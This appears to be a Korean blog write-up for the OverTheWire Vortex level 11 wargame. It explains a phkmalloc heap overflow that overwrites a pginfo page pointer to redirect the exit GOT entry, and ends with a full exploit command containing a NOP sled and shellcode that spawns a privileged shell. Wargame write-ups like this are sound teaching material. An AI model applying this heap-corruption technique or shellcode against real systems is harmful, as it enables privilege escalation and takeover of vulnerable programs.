Search results for 'vortex11 overthewire heap exploit'

  1. 2013.04.02 -- Vortex11 3

Vortex11

2013. 4. 2. 18:09

오랫만에 풀어보는 vortex. 문제 설명을 보자.


Chunk Corruption
You must corrupt the heap in order to gain arbitrary control of this program. Do recall, the application is using phkmalloc.

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h>
#include <string.h>
 
 
int main(int argc, char **argv) {
        char *p;
        char *q;
        char *r;
        char *s;
        if (argc < 3)
        {
                exit(0);
        }
        p = (char *) malloc(0x800);
        q = (char *) malloc(0x10);
        r = (char *) malloc(0x800);
        strcpy(r , argv[1]);
        s = (char *) malloc(0x10);
        strncpy(s , argv[2], 0xf);
        exit(0);
}
감이 오질 않아 http://www.overthewire.org/wargames/vortex/vortex11.shtml 에 
링크된 문서 중에 BSD Heap Smashing 문서를 읽어보았다. 중요한 내용을 추려보자면..


chunks are handled differently, depending on their size.


Other chunks are tiny and medium-sized chunks. The size of such chunks is always
a power of 2, and the smallest chunk size is malloc_minsize, that is defined as:

#define malloc_minsize          16U

A given memory page may not contain two chunks that do not have the same size.
When a tiny or medium-sized chunk is allocated, it is included in an existing
page containing other chunks that have the same size if such a page is
available. Otherwise, exactly one memory page is requested from the lower layer,
and the chunk is included in the newly allocated page.

Large chunks are chunks whose size is larger than half a page. When such a
chunk is allocated, the top level layer simply requests a number of adjacent
memory pages given by the size of the chunk rounded up to a multiple of
malloc_pagesize, and then divided by malloc_page_size.


When a memory page contains tiny or medium-sized chunks, a structure describing
which chunks are free and which chunks are in use is associated with the page.
These structures are kept in several linked lists, one list for each possible
size of chunks. A pointer to the head of each list is stored in the first part
of the pages directory: page_dir[j] where j is such that ( 1 << j ) is the size
of the chunks contained in the page.

These structures are declared as follows:

struct pginfo {
    struct pginfo       *next;  /* next on the free list */
    void                *page;  /* Pointer to the page */
    u_short             size;   /* size of this page's chunks */
    u_short             shift;  /* How far to shift for this size chunks */
    u_short             free;   /* How many free chunks */
    u_short             total;  /* How many chunk */
    u_int               bits[1]; /* Which chunks are free */
};


The next field is a pointer to the next structure in the list, or 0 if the
element is the last of the list.

The page field points to the beginning of the page (it is always a multiple of
malloc_pagesize).

The size field is set to the size in bytes of the chunks contained in this page.

The free field is the number of free chunks in the page.

The total field is the sum of the number of free chunks in the page and of the
number of allocated chunks in the page. The page is freed (ie. returned to the
lower layer) whenever ( free == total ) becomes true.

......


A simple technique may be used to exploit basic heap buffer overflows. It simply
requires to overwrite the page, shift, and bits fields of a pginfo structure,
then the attacker controls the return value of the next dynamic allocation of
the appropriate size. This technique requires the ability to create a gap in
the heap: first, a chunk that has the size of a struct pginfo is allocated,
then another chunk, whose only role is to force the allocator to create a new
page and thus place a pginfo structure immediately after the first chunk. Then,
the first chunk is freed, and immediately allocated again, overflowed, and the
freshly allocated pginfo structure is overwritten. Next call to malloc() returns
whatever the attacker wants and may be used to erase a saved EIP, a GOT entry,
or whatever.


이해한대로 요약하면 malloc으로 힙을 할당할 때, 할당 사이즈에 따라 각각 Large chunk, medium chunk, tiny chunk 로 분류해서 처리하는데 tiny chunk 가 생성될 때 해당 page에서 chunk 들을 링크드리스트로 관리하는 구조체가 존재한다. 구조체 정보는 다음과 같다.

struct pginfo {
    struct pginfo       *next;  /* next on the free list */
    void                *page;  /* Pointer to the page */
    u_short             size;   /* size of this page's chunks */
    u_short             shift;  /* How far to shift for this size chunks */
    u_short             free;   /* How many free chunks */
    u_short             total;  /* How many chunk */
    u_int               bits[1]; /* Which chunks are free */
};

여기서 page 는 말 그대로 page를 가리키는 포인터이다. 이 값을 조작하면 다음에 할당될 주소를 바꿀 수 있어서 exploit 가 가능해진다. 공격하기 전에 다음 내용을 확인.


Before starting, the reader needs to know the following details about phk malloc
on Intel i86 (more detail is provided in appendix B):

  * tiny chunks are 16 (0x10) and 32 (0x20) bytes chunks
  * medium-sized chunks range from 64 (0x40) to 2048 (0x1000/2) bytes, inclusive
  * a memory page is 4096 (0x1000) bytes long
  * pginfo structures range between 20 and 32 bytes (remember the bits field has
    a variable width), and are stored in 32 bytes chunks, except for 16 bytes
    chunks pages, whose pginfos are 48 bytes long
  * pgfree structures are 20 bytes long

풀이과정을 대충 요약하면

1) 소스내용을 보고 GDB에서 할당된 주소를 확인

        p = (char *) malloc(0x800);
        q = (char *) malloc(0x10);
        r = (char *) malloc(0x800);
        strcpy(r , argv[1]);
        s = (char *) malloc(0x10);
        strncpy(s , argv[2], 0xf);
        exit(0);

p  -  0x0804e000
q  -  0x0804f030
r  -  0x0804e800
s  -  0x0804f040

p, r 은 0x800 만큼 0x0804e000, 0x0804e800 에 연속해서 할당

q, s 는 tiny chunk로(0x10) 0x0804f030, 0x0804f040에 할당

q 가 할당될 때 0x0804f000 이 아니라 0x0804f030 부터 할당되는 이유는 chunk를 관리하는 구조체가 앞쪽에 위치하기 때문이다.

2) gdb에서 구조체를 확인

(gdb) x/30x 0x0804f000
0x804f000:      0x00000000      0x0804f000      0x00040010      0x00fd00fb
0x804f010:      0xffffffe0      0xffffffff      0xffffffff      0xffffffff
0x804f020:      0xffffffff      0xffffffff      0xffffffff      0xffffffff
0x804f030:      0xd0d0d0d0      0xd0d0d0d0      0xd0d0d0d0      0xd0d0d0d0
0x804f040:      0xd0d0d0d0      0xd0d0d0d0      0xd0d0d0d0      0xd0d0d0d0
0x804f050:      0xd0d0d0d0      0xd0d0d0d0      0xd0d0d0d0      0xd0d0d0d0
0x804f060:      0xd0d0d0d0      0xd0d0d0d0      0xd0d0d0d0      0xd0d0d0d0
0x804f070:      0xd0d0d0d0      0xd0d0d0d0

위 주소의 값들을 pginfo 구조체로 그려보면

struct pginfo {
    struct pginfo       *next = NULL;           /* next on the free list */
    void              *page = 0x0804f000;     /* Pointer to the page */
    u_short             size  = 0x10;           /* size of this page's chunks */
    u_short             shift = 0x4;            /* How far to shift for this size chunks */
    u_short             free  = fb;             /* How many free chunks */
    u_short             total = fd;             /* How many chunk */
    u_int               bits[1] = 0xffffffe0;   /* Which chunks are free */
};


3) target address 확인

 page pointer를  원하는 주소로 오버라이트 하면 strncpy를 호출해 원하는 값을 쓸 수 있게 된다.

exit 함수 때문에 dtors_end 는 사용할 수 없으므로 exit 함수의 plt 가 가장 만만해 보인다.

Dump of assembler code for function exit@plt:
   0x080486a0 <+0>:     jmp    *0x804c048
   0x080486a6 <+6>:     push   $0x90
   0x080486ab <+11>:    jmp    0x8048570

두 번째 할당되는 chunk 는 0x0804f000 + 0x40에 할당되는 것을 볼 수 있다. 
따라서 쓰고자 하는 주소 - 0x40 한 값을 사용한다.

0x0804c048 - 0x40 = 0x0804c008

4) payload 구성

쉘코드는 msf로 /bin/sh를 실행하도록 생성

payload는 0x0804e800부터 0x800 바이트를 nopsled + shellcode 로 대충 구성.

[target program] [nop * 1900 + shellcode + 0x0804c008] [somewhere of nopsled]


5) Result

vortex11@melissa:/vortex$ ./vortex11 "`python -c 'print "\x90"*1900+"\x89\xe2\xda\xca\xd9\x72\xf4\x5f\x57\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x43\x5a\x76\x6b\x76\x38\x4e\x79\x50\x52\x73\x56\x71\x78\x64\x6d\x35\x33\x4d\x59\x5a\x47\x61\x78\x46\x4f\x50\x73\x51\x78\x57\x70\x42\x48\x64\x6f\x72\x42\x50\x69\x42\x4e\x6e\x69\x6b\x53\x56\x32\x79\x78\x36\x68\x37\x70\x45\x50\x73\x30\x36\x4f\x45\x32\x61\x79\x62\x4e\x34\x6f\x32\x53\x53\x58\x45\x50\x43\x67\x46\x33\x6c\x49\x6b\x51\x58\x4d\x6f\x70\x41\x41"+"\x08\xc0\x04\x08"*2'`" `python -c 'print "\xa6\xe8\x04\x08"'`
$ id
id: not found
$ cd /etc
$ id
uid=5011(vortex11) gid=5011(vortex11) euid=5012(vortex12) groups=5012(vortex12),5011(vortex11)
$ cd /etc/vortex_pass
$ cat vortex12
########
$


저작자표시 비영리 변경금지

'War game > vortex' 카테고리의 다른 글

vortex12  (0) 2014.01.02
vortex level10  (0) 2011.04.18
vortex level8  (0) 2010.12.09
vortex level3  (0) 2009.10.03
vortex level1  (0) 2009.09.24
vortex level0  (0) 2009.09.23

badcob War game/vortex

티스토리툴바